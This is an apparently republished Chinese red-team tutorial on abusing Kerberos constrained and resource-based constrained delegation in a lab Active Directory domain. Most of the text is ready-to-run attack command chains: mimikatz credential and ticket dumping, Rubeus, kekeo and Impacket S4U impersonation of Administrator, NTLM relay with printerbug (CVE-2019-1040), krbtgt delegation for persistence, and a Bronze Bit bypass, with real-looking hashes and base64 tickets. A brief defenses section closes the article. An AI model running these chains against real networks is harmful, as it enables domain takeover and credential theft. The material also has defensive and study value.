Widnows Server 2003 之后微软引入了非约束委派。同时,为了顺利进行约束性委派,微软于2007年为 Kerberos 协议的 TGS_REQ 和 TGS_REP 阶段引入了两个扩展协议S4u2self(Service for User to Self)S4U2proxy(Service for User to Proxy)

约束委派有两种

  1. 仅使用Kerberos,不能进行协议转换
  2. 使用任何身份验证协议

S4u2self & S4U2proxy

S4U2self协议允许服务代表任意用户请求访问自身服务的ST服务票据S4U2proxy协议允许服务在已取得ST服务票据下代表任意用户获取另一个服务的服务票据约束委派限制了S4U2proxy协议的请求范围,使得配置了委派属性的服务只能模拟用户身份访问特定的其他服务。

配置了约束性委派的账户属性会有如下两个变化:

  1. 账户userAccountControl属性会被设置为TRUSTED_TO_AUTH_FOR_DELEGATION标志位,值为16781312
  2. 账户的msDS-AllowedToDelegateTo属性,添加允许委派的服务

环境介绍

域名: redteam.lab
域控: 
    操作系统: Windows Server 2016
    主机名: DC2016
    IP: 10.10.2.20
域内主机:
    操作系统: Windows 10
    主机名: WIN10-1
    IP: 10.10.2.100
攻击机:
    操作系统: kali Liux
    IP: 10.10.2.77

注意: 这里Kali也在内网中,主要是便于技术的展示,在实际情况中需要搭建代理,可以收用frp、chisel等攻击,再使用proxychains进行代理的连接!

1)侦查方法:ADFind

# AdFind.exe查询约束委派机器账户
AdFind.exe -b "DC=redteam,DC=lab" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto

# AdFind.exe查询约束委派服务账户
AdFind.exe -b "DC=redteam,DC=lab" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

1)侦查方法:PowerView

# 导入
powershell-import PowerView.ps1

# PowerView查询约束委派机器账户
powershell Get-DomainComputer -TrustedToAuth -domain redteam.lab -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|ft -Wrap -AutoSize

# PowerView查询约束委派服务账户
powershell Get-DomainUser –TrustedToAuth -domain redteam.lab -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|fl

攻击思路1:使用机器账户的票据 | kekeo

约束性委派攻击的关键就是获得可转发的服务票据ST获取根据约束性委派的执行过程可知,只要控制配置约束性委派服务的机器,并获得了它的密码,那么我们就可以劫持这台主机的kerberos请求过程,最终获得任意用户权限的ticket

利用条件:

  1. 需要Administrator权限
  2. 目标机器账户配置了约束性委派

使用mimikatz工具导出lsass.exe进程中所有的票据,得到想要的服务票据

# 导出票据
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit"

使用kekeo工具申请服务票据(S4U2Proxy协议)

# 申请服务票据
kekeo.exe "tgs::s4u /tgt:[0;3e7]-2-1-40e10000-WIN10-1$@krbtgt-REDTEAM.LAB.kirbi /user:Administrator@redteam.lab /service:cifs/DC2016.redteam.lab" "exit"

# 导入票据
mimikatz.exe "kerberos::ptt TGS_Administrator@redteam.lab@REDTEAM.LAB_cifs~DC2016.redteam.lab@REDTEAM.LAB.kirbi" "exit"

# 访问
dir \\DC2016.redteam.lab\c$

攻击思路2.1:使用机器账户的Hash值 | Rubeus

与思路一类似,但是这里使用的是Hash值利用条件:

  1. 需要Administrator权限
  2. 目标机器账户配置了约束性委派

使用mimikatz获取NTLM Hash值

# 使用mimikatz获取机器账户NTLM Hash
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
8f91f8786d308e62c609688886dc7c4c

使用Rubeus申请访问自身的可转发服务票据

# 使用Rubeus申请配置了约束委派机器账户WIN10-1$的TGT
Rubeus.exe asktgt /user:WIN10-1$ /rc4:8f91f8786d308e62c609688886dc7c4c /domain:redteam.lab /dc:DC2016.redteam.lab /nowrap

# 使用Rubeus通过S4U2Self协议代表域管理员Administrator请求针对域控LDAP服务的票据,并注入内存
Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:CIFS/DC2016.redteam.lab /dc:DC2016.redteam.lab /ptt /ticket:doIE7DCCBOigAwIBBaEDAgEWooIEBDCCBABhggP8MIID+KADAgEFoQ0bC1JFRFRFQU0uTEFCoiAwHqADAgECoRcwFRsGa3JidGd0GwtyZWR0ZWFtLmxhYqOCA74wggO6oAMCARKhAwIBAqKCA6wEggOoM8VAe67r80K7kucYIn8+7OGwBh7K0P3+J3PvGUYPVlz2+WFR9jNWhQ8SiK0Qwa0uUaZhH6RxZO0GXrW13YcRxuomfopTCDZCq0J5LlAyr+sYq4C+VDR+1n/W8/hMP4rqsdZqfVK7z8jmUhFbB1TGRu7MKuxexQ0Kmr2ae6sH8RmuFEAJHwjS3LXZqtB6AVf3V04fT5PrLatDiLs8DAVHgD18kJwRsF34qjKsC2jsGWeXZkjNsuQFV31HQN0TtAsMR7vftYHag7jYuzmwAvAvKE8fgtoi8Yf6GcFCvKutA65Tc8oSJDG3nd5LdpAuPRPo/SAJn4ujs9SUTjTXWEXNp69uSrdFZ7hR/8yPiZLw1hPoOm3ZlUTGBuUclxep28tDgaA1alBNsH5iAmza1fGj6FUOUoYvRGpC3B4zqs+o2Bd3dNDaHNFcTCc8O6Dcti1q7bhNnLmQZcTq1rTRI0e0mPvPet+xV/obRc2r1qxzjAq5/BhjFu94B+IaolJXoFVoIvz67nSe/h6459xnUPrgqh2PsnwfeakR4CLqcgAbyEOoQV4MWpOJrDgjoBeZ8lfGTY97vIvA0fAuRdqy5L4JX6b+LQxt5fZdCChfMh+YQl1zQs/UYST6UD9xqRvF7l84YGN0lsQYboMHSoZfj4bE2ii1MmrC/18jI/vwZKBjg5aY8MfpTvsSih/IxeVr9YEAOCCsEFFlq7i/UuWP+hiMaGqldqw2eZHwRmobHaJWLmzgErJXYZcRNz84EuLoDdQTWMWpXV8Glr3c+BwPlFOITpwixL8KDKM8PA0kOFok/ci+zlVY/mf3dA6pXmzDKkT0boTczXsOc7zZx4sc34YysY/sSQvqb2sZAvvW1+v1J4N4t8i+/QN1upuk/npqPwDfUhyi7AeO+fcVpCn4ziaNqfebzdh3F3ZmgdrdViTq6I84QACKwzVHH59rjzN81pLuYqGw49B4g3xWYvo1ZA1lJsGGZFa4JwFw3q1fk6Q3qgTGlO0fn/7VFQjtLmJBe6LwtLkTySQsQvZxAHMc8Euc2jZgLGwyR8ViKRo9BmbhYblChJCOrq/14JP2GTHYgMuVx4iSqEVGjnm9/crfWLgbTaSVJ7UChqGzKquer2RuDqNPpcxMPuj9aHfor5ItRhfdnDyni8IQj5zUv4bEBWoRWwyTGk+8UpeGsMbSpEMjoH7q0tw4xyGkTRD/Bz3CWjW/bLtqcB07W2Et9EKTJQh1lzTGNi4GvNhso4HTMIHQoAMCAQCigcgEgcV9gcIwgb+ggbwwgbkwgbagGzAZoAMCARehEgQQRhdvpI6qSFO1Eo5nYZxvZKENGwtSRURURUFNLkxBQqIVMBOgAwIBAaEMMAobCFdJTjEwLTEkowcDBQBA4QAApREYDzIwMjIwNTE4MDkzNTE1WqYRGA8yMDIyMDUxODE5MzUxNVqnERgPMjAyMjA1MjUwOTM1MTVaqA0bC1JFRFRFQU0uTEFCqSAwHqADAgECoRcwFRsGa3JidGd0GwtyZWR0ZWFtLmxhYg==

# 直接dir
dir \\DC2016.redteam.lab\c$

攻击思路2.2:使用机器账户的Hash值 | getST

同思路2一致,也是使用机器账户的Hash值,但这里使用Impacket工具套件中的getST.py脚本请求服务票据,并利用该脚本通过wmiexec.py工具远程登录利用条件:

  1. 需要Administrator权限
  2. 目标机器账户配置了约束性委派
# mimikatz获取机器账户NTLM Hash值
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"

# 使用getST申请服务票据
python3 getST.py -dc-ip 10.10.2.20 -spn CIFS/DC2016.redteam.lab -impersonate administrator redteam.lab/WIN10-1$ -hashes :8f91f8786d308e62c609688886dc7c4c

# 使用票据远程访问
KRB5CCNAME=administrator.ccache python3 wmiexec.py -k redteam.lab/administrator@DC2016.redteam.lab -no-pass -dc-ip 10.10.2.20

攻击思路2.3:使用机器账户的Hash值 | kekeo

# 请求票据
kekeo.exe "tgt::ask /user:WIN10-1$ /domain:redteam.lab /NTLM:8f91f8786d308e62c609688886dc7c4c" "exit"

# 申请administrator权限的票据
kekeo.exe "tgs::s4u /tgt:TGT_WIN10-1$@REDTEAM.LAB_krbtgt~redteam.lab@REDTEAM.LAB.kirbi /user:Administrator@redteam.lab /service:cifs/DC2016.redteam.lab" "exit"

# mimikatz
mimikatz.exe "kerberos::ptt TGS_Administrator@redteam.lab@REDTEAM.LAB_cifs~DC2016.redteam.lab@REDTEAM.LAB.kirbi" "exit"

# 访问
dir \\DC2016.redteam.lab\c$

2.3 基于资源的约束性委派攻击

概念

微软在Windows Server 2012 中新引入基于资源的约束性委派(Resource Based Constrained Delegation, RBCD),RBCD不需要通过具备SeEnableDelegationPrivilege权限的域管理员进行修改,而是将设置属性的权限给了服务资源本身

配置了RBCD的账户属性有如下变化:

  • msDS-AllowedToActOnBehalfOfOtherIdentity属性指向委派账户

可以将基于资源的约束性委派理解为传统的约束性委派的反向过程。以 Service 1 和 Service 2 两个服务为例,传统的约束性委派需要在 Service 1 上设置 msDS-AllowedToDelegateTo 属性,以指定对 Service 2 上的哪一个服务进行委派。而在基于资源的约束性委派中,需要在 Service 2 上将 msDS-AllowedToActOnBehalfOfOtherIdentity 属性值设为 Service 1 的 SID,以允许 Service 1 对 Service 2 上的服务进行委派。

此外,在传统的约束性委派中,通过 S4u2self 申请到的 ST 票据一定是可转发的,如果不可转发,则后续的 S4U2Proxy 阶段将失败。但是在基于资源的约束性委派中,不可转发的 ST 票据仍然可以通过 S4U2Proxy 阶段对其他服务进行委派认证。

攻击核心条件

  1. 具有对主机修改msDS-AllowedToActOnBehalfOfOtherIdentity属性的权限
  2. 可以创建机器账户(或已知机器账户)

那么什么用户具备修改msDS-AllowedToActOnBehalfOfOtherIdentity属性的权限呢?

  1. 将该主机加入域的用户账户账户中有一个mSDS-CreatorSID属性,用于标记加入域时使用的用户账户SID值,进一步就可以知道一些具有加入域权限的用户账户了!
  2. Account Operator组成员
  3. 该主机的机器账户以上三个分别对应下面的攻击思路123

而谁可以创建机器账户呢?对于一般域成员,由msDS-MachineAccountQuota属性决定,默认可以创建10个机器账户。

环境介绍

域名: redteam.lab
域控制器:
    操作系统: Windows Server 2016
    主机名: DC2016
    IP: 10.10.2.20
域内服务器:
    操作系统: Windows Server 2012
    主机名: SERVER2012
    IP: 10.10.2.50
域内主机1:
    操作系统: Windows 10
    主机名: WIN10-1
    IP: 10.10.2.100
域内主机2:
    操作系统: Windows 7
    主机名: WIN7-1
    IP: 10.10.2.101
攻击机:
    操作系统: kali Liux
    IP: 10.10.2.77

注意: 这里Kali也在内网中,主要是便于技术的展示,在实际情况中需要搭建代理,可以收用frp、chisel等攻击,再使用proxychains进行代理的连接!

侦查思路:由机器找到可修改委派权限的用户

核心目标:找到可修改msDS-AllowedToActOnBehalfOfOtherIdentity的用户我将这种思路定义为反向查找:已知机器账户,找到使其加入域中的用户账户,这个用户账户就具备修改msDS-AllowedToActOnBehalfOfOtherIdentity的权限

# 使用adfind.exe查找机器账户的mS-DS-CreatorSID属性
AdFind.exe -h 10.10.2.20 -u ken -up 123.com -b "DC=redteam,DC=lab" -f "objectClass=computer" mS-DS-CreatorSID

# 使用Powershell反查SID对应的用户
powerpick $objSID = New-Object System.Security.Principal.SecurityIdentifier S-1-5-21-3309395417-4108617856-2168433834-1104;$objUser = $objSID.Translate([System.Security.Principal.NTAccount]);$objUser.Value

侦查思路:由用户查询其加入域中的机器

和上面相反,这里我将其定义为正向查找:已知用户查找到通过该用户加入域中的机器,

# 查用户账户SID
whoami /all

# 使用PowerView查经由该用户加入域内的机器账户(主机)
# 需要具备GeneriCall或WriteProperty等修改权限
powershell-import PowerView.ps1
powerpick Get-DomainObjectAcl | ?{$_.SecurityIdentifier -match "S-1-5-21-3309395417-4108617856-2168433834-1104"} | select objectdn,activedirectoryrights

攻击思路1:通过管理主机加入域的用户拿下主机

权限提升 | 横向移动

关键:能修改那台服务资源的委派属性,就可以拿下该台主机

利用条件:

  1. 允许创建机器账户
  2. 具有管理主机加入域的用户账户
1 添加机器账户
# 使用addcpmputer创建机器账户
python3 addcomputer.py redteam.lab/ken:123.com -method LDAPS -computer-name CPT01\$ -computer-pass Passw0rd -dc-ip 10.10.2.20

# 使用bloodyAD工具创建机器账户
python3 bloodyAD.py -d redteam.lab -u ken -p '123.com' --host 10.10.2.20 addComputer CPT01 'Passw0rd'

# 使用PowerMad工具创建机器账户

2 设置委派属性

使用PowerView工具查询机器账户SID

Get-NetComputer CPT01 -Properties objectsid
S-1-5-21-3309395417-4108617856-2168433834-1108

修改服务资源的委派属性,即msDS-AllowedToActOnBehalfOfOtherIdentity属性

# 导入powershell Set-ExecutionPolicy Bypass -Scope Process. .\powerview.ps1

powershell-import PowerView.ps1

powerpick $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3309395417-4108617856-2168433834-1108)";$SDBytes = New-Object byte[] ($SD.BinaryLength);$SD.GetBinaryForm($SDBytes, 0);Get-DomainComputer WIN7-1 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

# 查询属性(后一条命令使用到了ActiveDirectory模块,域控默认带)
powerpick Get-DomainComputer SERVER2012 -Properties msds-allowedtoactonbehalfofotheridentity

# 域控查询命令
Get-ADComputer SERVER2012 -Properties PrincipalsAllowedToDelegateToAccount
# 清除属性
Set-DomainObject SERVER2012 -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose
3-1 申请服务票据 | getST.py

使用getST.py申请票据

# 使用getST.py申请票据
python3 getST.py redteam.lab/CPT01$:Passw0rd -spn cifs/SERVER2012.redteam.lab -impersonate administrator -dc-ip 10.10.2.20

# 导入票据
export KRB5CCNAME=/root/Desktop/administrator.ccache

# 直接登录
python3 wmiexec.py -k redteam.lab/administrator@SERVER2012.redteam.lab -no-pass
python3 psexec.py -k redteam.lab/administrator@SERVER2012.redteam.lab -no-pass

3-2 申请服务票据 | Rubeus

使用Rubeus申请票据

# 通过Rubeus申请机器账户CPT01$的TGT
Rubeus.exe asktgt /user:CPT01$ /password:Passw0rd /domain:redteam.lab /dc:DC2016.redteam.lab /nowrap

# 使用S4U2Self协议申请TGS并且使用S4U2Proxy协议请求cifs服务票据ST,注入内存中
Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:CIFS/SERVER2012.redteam.lab /dc:DC2016.redteam.lab /nowrap /ptt /ticket:doIE2DCCBNSgAwIBBaEDAgEWooID8jCCA+5hggPqMIID5qADAgEFoQ0bC1JFRFRFQU0uTEFCoiAwHqADAgECoRcwFRsGa3JidGd0GwtyZWR0ZWFtLmxhYqOCA6wwggOooAMCARKhAwIBAqKCA5oEggOWx0emir2j0Me0AEZiGIF6iCN9gm6S9/VwFmYy8F9s5+FFyHDmSWjfLJotWqg/BXyB94ueiRrMXRkOYhKxLfUaJ4OJyGLxTv/oHQ9eM5EBe1QG1h5IufgR6T0Z23wknxOQA/JOP32HIoroCn84tHHlWrDx8JVu2bCKqfR3pqmnQCZXfb/3ydfNeqdf3hlF917Py5cMWKtDWBiMUx9HdtGto3d65JDaZTvetV5inE3+Ze+Z+dt/pE7CGtO1CrXjBVKmZTDq6i6oxOlOPcZo30TTIF0DW2jQBH1fZmn4z6o7Wv8uD/SycHV+BXv9Yjv4b0ESAaqZ4zt+zNvcBT0jrGTgrdOmvgKuc3wM0uHvfOOShx+TBrmjYbnrjd1vyTSbq/q4Ugyon+0hsQng5Dxb78QwfukVyTGfKuEqp9ar63kav99xl7EJUyv+TfhJsbYWBRH0ebyVl62eFkDi+cgPFF3isvdNao8Oc6zu+JJzbV3XguPFtmJlBUGYP/IWfxkfRg24tYvo+gaYW3NCuvp/yavpCT9WakKmwhKpXPQlLVZ5dPIuBHfiYY9eCRBD7L5WtXhgRh3ELLhA7UAkB7Q8rB9kle3QIdnHdQMeqBTPvv3k5JC9yybtYOg184w00OR0MCO88697KcvS0mbUN30XRp0CMwKSmKftIPbMvGjflzm5yWypezJ/I7cNwh+NyaFP2WE0kSh0zjR7acFe7NzK6eGMpJCksEuTa1Gp6FpJ1g2g2s3UqWyIyJpT8Rw9x/VMSbInvgfZV649Doh6OjbYPvct3WplSOo+U12Abec+Dog4zg4kLhBQ9zx6I5YGOh1zscS5A9ig0lzt8ZTa+H4vG3UGy7QcDsy624pUZ5GM2vXgyPVmVKBUrLmRFjPqJKd2xW2D5Vve9vF9QD8ZiGjJkjawI1xoo4OyeuRO1QBWWaR2U7zyWnj/NRW0MeCQEvw9ay6MlT5/yLNf6XQG+2z/n1zrLYkOxjH7LhL6qFjPDA9ECzF+bBs09ahifFruIxLC24EjZNCJ42rWZig6MyOppUmSdpDCoBrX0Dtwmw+3rPTCkzlUSpSQ2Axf4EdrA8mFtY370uJLlPgqqiRQPOeM5lxGFfgxeYwwYUab96CTgfo1qRIAHxIYqGZ3Qb0B6EOMzjGLeyvfK5p8Uv9DT1M3kQJnAgi5rlrlt8KmYiYAhgLa/okVKSxUIjfE8rgLucKrRTz1k2NevBR3o4HRMIHOoAMCAQCigcYEgcN9gcAwgb2ggbowgbcwgbSgGzAZoAMCARehEgQQ75YaW7Y0HIYQtAyZ4UavYaENGwtSRURURUFNLkxBQqITMBGgAwIBAaEKMAgbBkNQVDAxJKMHAwUAQOEAAKURGA8yMDIyMDUxODE1MDg0MFqmERgPMjAyMjA1MTkwMTA4NDBapxEYDzIwMjIwNTI1MTUwODQwWqgNGwtSRURURUFNLkxBQqkgMB6gAwIBAqEXMBUbBmtyYnRndBsLcmVkdGVhbS5sYWI=

# 访问
dir \\SERVER2012.redteam.lab\c$

小技巧:Base64加密的票据转.kirbi文件

[IO.File]::WriteAllBytes("C:\Users\Public\Documents\ticket.kirbi",[Convert]::FromBase64String("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"))

攻击思路2:已知Acount Operators组用户拿下主机

权限提升 | 横向移动

在攻击思路1中,拿到控制加入域的用户后,可以获得其下加入的主机。而思路2中的Acount Operators组用户可以获得域内除域控的所有主机。

利用条件:

  1. 获取到属于Acount Operators组的用户账户
  2. 可以创建机器账户

Acount Operators组成员可以修改域内任意主机msDS-AllowedToActOnBehalfOfOtherIdentity属性

1 查询Acount Operators组成员

adfind.exe -h 10.10.2.20:389 -s subtree -b CN="Account Operators",CN=Builtin,DC=redteam,DC=lab member

2 创建机器账户
# 使用bloodyAD.py创建机器账户
python3 bloodyAD.py -d redteam.lab -u mark -p '123.com' --host 10.10.2.20 addComputer CPT02 'Passw0rd'
3 设置委派属性

剩下部分基本上和思路1类似,如果使用ken用户则会报拒绝访问,使用mark用户则可以修改委派属性

# 使用PowerView工具查询机器账户SID
powerpick Get-NetComputer CPT02 -Properties objectsid
S-1-5-21-3309395417-4108617856-2168433834-1112

# 修改服务资源msDS-AllowedToActOnBehalfOfOtherIdentity属性
powerpick $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3309395417-4108617856-2168433834-1112)";$SDBytes = New-Object byte[] ($SD.BinaryLength);$SD.GetBinaryForm($SDBytes, 0);Get-DomainComputer WIN7-1 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

# 查询属性(后一条命令使用到了ActiveDirectory模块,域控默认带)
powerpick Get-DomainComputer WIN7-1 -Properties msds-allowedtoactonbehalfofotheridentity

# 创建服务票据
python3 getST.py redteam.lab/CPT02$:Passw0rd -spn cifs/WIN7-1.redteam.lab -impersonate administrator -dc-ip 10.10.2.20

# 导入票据
export KRB5CCNAME=/root/Desktop/administrator.ccache

# 直接登录
python3 wmiexec.py -k redteam.lab/administrator@WIN7-1.redteam.lab -no-pass
python3 psexec.py -k redteam.lab/administrator@WIN7-1.redteam.lab -no-pass

攻击思路3:结合HTLM Relay攻击拿下主机(CVE-2019-1040)

权限提升 | 横向移动

绕过NTLM MIC校验+打印机漏洞+NTLM Relay+基于资源的约束性委派组合攻击

利用条件:

  1. 能创建机器账户
  2. 目标开启打印机服务
1 创建机器账户

python3 bloodyAD.py -d redteam.lab -u ken -p '123.com' --host 10.10.2.20 addComputer CPT03 'Passw0rd'

2 监听认证请求

使用ntlmrelayx工具

# 进行监听
python3 ntlmrelayx.py -t ldap://10.10.2.20 -smb2support --remove-mic --delegate-access --escalate-user CPT03\$
3 打印机漏洞执行强制认证

使用printerbug工具执行强制认证

# 利用打印机漏洞回连
python3 printerbug.py redteam.lab/ken:123.com@10.10.2.50 10.10.2.77

ntlmrelayx上监听到认证数据

4 申请服务票据

使用getST.py申请服务票据

# 制作服务票据
python3 getST.py redteam.lab/CPT03\$:Passw0rd -spn CIFS/SERVER2012.redteam.lab -impersonate Administrator -dc-ip 10.10.2.20
5 使用服务票据
# 注入票据
export KRB5CCNAME=Administrator.ccache

# 远程访问
python3 smbexec.py -target-ip 10.10.2.50 -k SERVER2012.redteam.lab -no-pass

攻击思路4:krbtgt用户的委派

权限维持

在获取到域控权限后,可以对krbtgt用户设置委派属性,以实现维持权限的目的,类似与一个变种的黄金票据

利用条件:

  1. 获取域控权限

设置委派属性

# 创建机器账户
python3 bloodyAD.py -d redteam.lab -u ken -p '123.com' --host 10.10.2.20 addComputer CPT04 'Passw0rd'

# 设置krbtgt委派权限 | 查询
Set-ADUser krbtgt -PrincipalsAllowedToDelegateToAccount CPT04$
Get-ADUser krbtgt -Properties PrincipalsAllowedToDelegateToAccount

申请&使用票据

python3 getST.py redteam.lab/CPT04\$:Passw0rd -spn krbtgt -impersonate Administrator -dc-ip 10.10.2.20

export KRB5CCNAME=Administrator.ccache

python3 smbexec.py -k administrator@DC2016.redteam.lab -no-pass -dc-ip 10.10.2.20

KRB5CCNAME=Administrator.ccache | python3 smbexec.py -k administrator@DC2016.redteam.lab -no-pass -dc-ip 10.10.2.20

0x05 委派攻击防范措施及绕过手段

防范措施

  • 对于高权限用户,设置为敏感用户,不能被委派
  • 若要设置委派,不设置非约束性委派而是设置约束性委派
  • 可以将敏感用户添加至Protected User组中,该组用户不允许被委派

绕过原理

对域委派安全功能绕过主要是通过Kerberos Bronze Bit攻击(CVE-2020-1704),由于服务可以解密自身的票据并且forwardable值不在PAC中,在使用时,forwardable值不受到检查,进而实现绕过目的

详细分析参考:CVE-2020-17049 Kerberos Bronze Bit攻击深入分析

利用手段

在getST中加上-force-forwardable参数

python3 getST.py redteam.lab/CPT04\$:Passw0rd -spn krbtgt -impersonate Administrator -dc-ip 10.10.2.20 -force-forwardable

进一步的防范措施

打上微软补丁程序,编号为KB4598347

  1. 使用服务密钥(PAC_SERVER_CHECKSUM)签名
  2. 使用KDC密钥(PAC_PRIVSVR_CHECKSUM)签名在之后的S4U2Proxy阶段,KDC会验证PAC的三个签名,三个签名全都验证通过,KDC才会返回服务票据。否则,KDC将返回KRB_AP_ERR_MODIFIED消息。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2153471.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【Linux】进程地址空间和进程调度队列

🌈个人主页:秦jh__https://blog.csdn.net/qinjh_?spm1010.2135.3001.5343🔥 系列专栏:https://blog.csdn.net/qinjh_/category_12625432.html 目录 问题现象 进程地址空间 进一步理解 地址空间 Linux2.6内核进程调度队列 …

C++——string的了解和使用

目录 引言 为什么要学习string 1.C语言中的字符串 2.C中的字符串 auto和范围for 1.auto 1.1 auto的介绍 1.2 注意事项 2.范围for 标准库中的string类 1.string类的迭代器 1.1 begin()与end()函数 1.2 rbegin()与rend()函数 2.string类的初始化和销毁 3.string类…

【线程】线程的控制

本文重点:理解线程控制的接口 前言 内核中是没有很明确线程的概念的,只有轻量级进程的概念,不会提供直接给我们线程的系统调用,而会给我们提供轻量级进程的系统调用。我们用户是需要线程的接口的,在应用层&#xff0…

java重点学习-总结

十五 总结 https://kdocs.cn/l/crbMWc8xEZda (总结全部的精华) 1.面试准备 企业筛选简历规则简历编写注意事项(亮点)项目怎么找,学习到什么程度面试过程(表达结构、什么样的心态去找工作) 2.redis 缓存相关(缓存击穿、穿透、雪崩、缓存过期淘…

智能自行车码表:基于2605C语音芯片的创新开发方案

一、开发背景 随着科技的飞速发展和人们对健康生活的追求,自行车骑行已成为一种广受欢迎的绿色出行方式。智能自行车码表作为骑行者的得力助手,不仅记录骑行数据,还逐渐融入了更多智能化功能。然而,传统码表在语音提示、多语种支持…

Science Robotic 内在触觉实现直观的物理人机交互

触觉传感器和电子皮肤是为机器人提供物理交互感的常见设备,但当用于机器人的大面积覆盖时,它们会变得复杂且昂贵。德国宇航中心近期发表的Science Robotics研究工作,使用内部高分辨率关节力扭矩传感器,在机械臂中实现了固有的全身…

linux网络-----传输层

前言 一.传输层: 数据要交接应用层先通过传输层(给哪个程序发数据) 传输层作用:负责数据能够从发送端传输接收端。对于应用层来说有许多服务,传输层怎么知道把数据发给那个应用服务? 这时就有了端口号&am…

BMC 虚拟i2c访问PCA9545(switch芯片)后面的设备,为什么找不到PCA9545?

1.说明 1.1 背景 无意中看到PCA9545(switch芯片)后面有设备,但是PCA9545设备本身是连接到物理设备i2c上的,然而扫描该物理i2c bus,却找不到该设备。此篇文章主要找一下该原因的。 1.2 参考代码 当前使用的是ast2600芯片,可参考…

Mudslide

作者未提供代码

Qt/C++ TCP调试助手V1.1 新增图像传输与接收功能(附发布版下载链接)

